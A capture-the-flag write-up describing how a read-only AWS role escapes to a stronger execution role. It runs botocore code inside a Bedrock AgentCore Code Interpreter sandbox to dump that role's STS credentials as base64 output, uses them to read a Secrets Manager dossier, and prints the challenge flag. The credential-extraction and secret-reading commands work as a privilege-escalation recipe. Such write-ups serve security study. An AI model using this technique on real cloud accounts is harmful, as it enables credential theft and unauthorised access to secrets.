Challenge

I came in as an external auditor with a read-only recon role inside a velociraptor hatchery that had been padded with decoys. The brief was blunt about who to believe: trust H3XN0V4, not the paperwork. Every official source in this environment is an inversion, and only the old honest records hold up. The job was to find the one live sandbox, break out of the read-only boundary, and recover the sealed dossier for specimen H-7.

The account was 301691475402 in us-west-2. Vending handed me a terminal over a ttyd session with Basic auth, dropping me into a shell running as hatchery-readonly-access. From there everything was recon until I could find a way to turn read-only into something that moves.

Approach

Trust the honest records

The research bucket was the obvious first stop:

aws s3 ls s3://apex-park-hatchery-research-docs-301691475402/
aws s3 cp s3://apex-park-hatchery-research-docs-301691475402/sandbox_catalog.json -

The official artifacts all agreed with each other, which was the tell. sandbox_catalog.json, IMPORTANT_READ_FIRST.txt, and README.md listed the same set of sandbox ids, and every one of them traced back to H3XN0V4’s [DEAD PEN] list. These were the pens that were already written off. Following the catalog meant following the decoys.

The honest records were elsewhere in the same bucket. H3XN0V4’s diary and the operator viability report, viability_report_final.log from J. Carter, told a different story. They named a sandbox that never made it into the catalog at all: velociraptor_hatchery-fcXXolqkeJ, specimen H-7, marked VIABLE. The one thing the official paperwork omitted was the one thing that was real.

I confirmed it was live and not another dead pen:

aws bedrock-agentcore-control get-code-interpreter --code-interpreter-id velociraptor_hatchery-fcXXolqkeJ

It came back READY. It was a Bedrock AgentCore Code Interpreter, its execution role was hatchery-execution-access, and its networkMode was SANDBOX. That execution role was a different, stronger principal than my recon role, and the sandbox was the only place it lived.

Escape the read-only boundary

My recon role could see the Code Interpreter but could not read secrets. The execution role was the one with reach. The trick was to get the execution role to hand me its own credentials from inside the sandbox where it ran.

I started a session and then invoked code in it. The awscli build on the terminal did not ship the invoke subcommand, so I drove it through boto3:

import boto3, base64
c = boto3.client('bedrock-agentcore', region_name='us-west-2')
s = c.start_code_interpreter_session(codeInterpreterIdentifier='velociraptor_hatchery-fcXXolqkeJ')
sid = s['sessionId']

Code running inside the Code Interpreter is deliberately boxed in. There is no AWS_CONTAINER_* in the environment, and networkMode: SANDBOX means no internet. That is meant to keep anything running there from phoning home. But botocore’s credential chain does not need the environment variables or the internet. It walks down to the instance metadata path, and the iam-role method quietly surrenders the hatchery-execution-access STS credentials:

1
2
3
4
import botocore.session, json, base64
creds = botocore.session.get_session().get_credentials()
blob = json.dumps({'k': creds.access_key, 's': creds.secret_key, 't': creds.token})
print(base64.b64encode(blob.encode()).decode())

I ran that through InvokeCodeInterpreter in the session. Because the terminal liked to wrap and mangle long lines, I had the code base64-encode the credential blob into a single string and printed that, then decoded it on my side. The boundary held against outbound traffic but not against carrying the keys out by hand.

Loot the dossier

With the execution role’s credentials loaded outside the sandbox, I checked what that role could actually do:

aws iam get-role-policy --role-name hatchery-execution-access --policy-name hatchery-execution-access-policy

It granted secretsmanager:GetSecretValue on four secrets. Three were decoys, in keeping with the rest of the environment, and the fourth was the one that matched the honest trail: apex/hatchery/specimen-h7-dossier.

aws secretsmanager get-secret-value \
  --secret-id arn:aws:secretsmanager:us-west-2:301691475402:secret:apex/hatchery/specimen-h7-dossier-q4bi8jak-AEslj1

The SecretString carried a dossier_seal field, base64-encoded. Decoding it gave up the flag:

echo -n "RkxBRy17eHBWeFM3Y3JucmpjOFI4MnZSTlN2RjVleWtzS1RIMmV9" | base64 -d

Flag

FLAG-{xpVxS7crnrjc8R82vRNSvF5eyksKTH2e}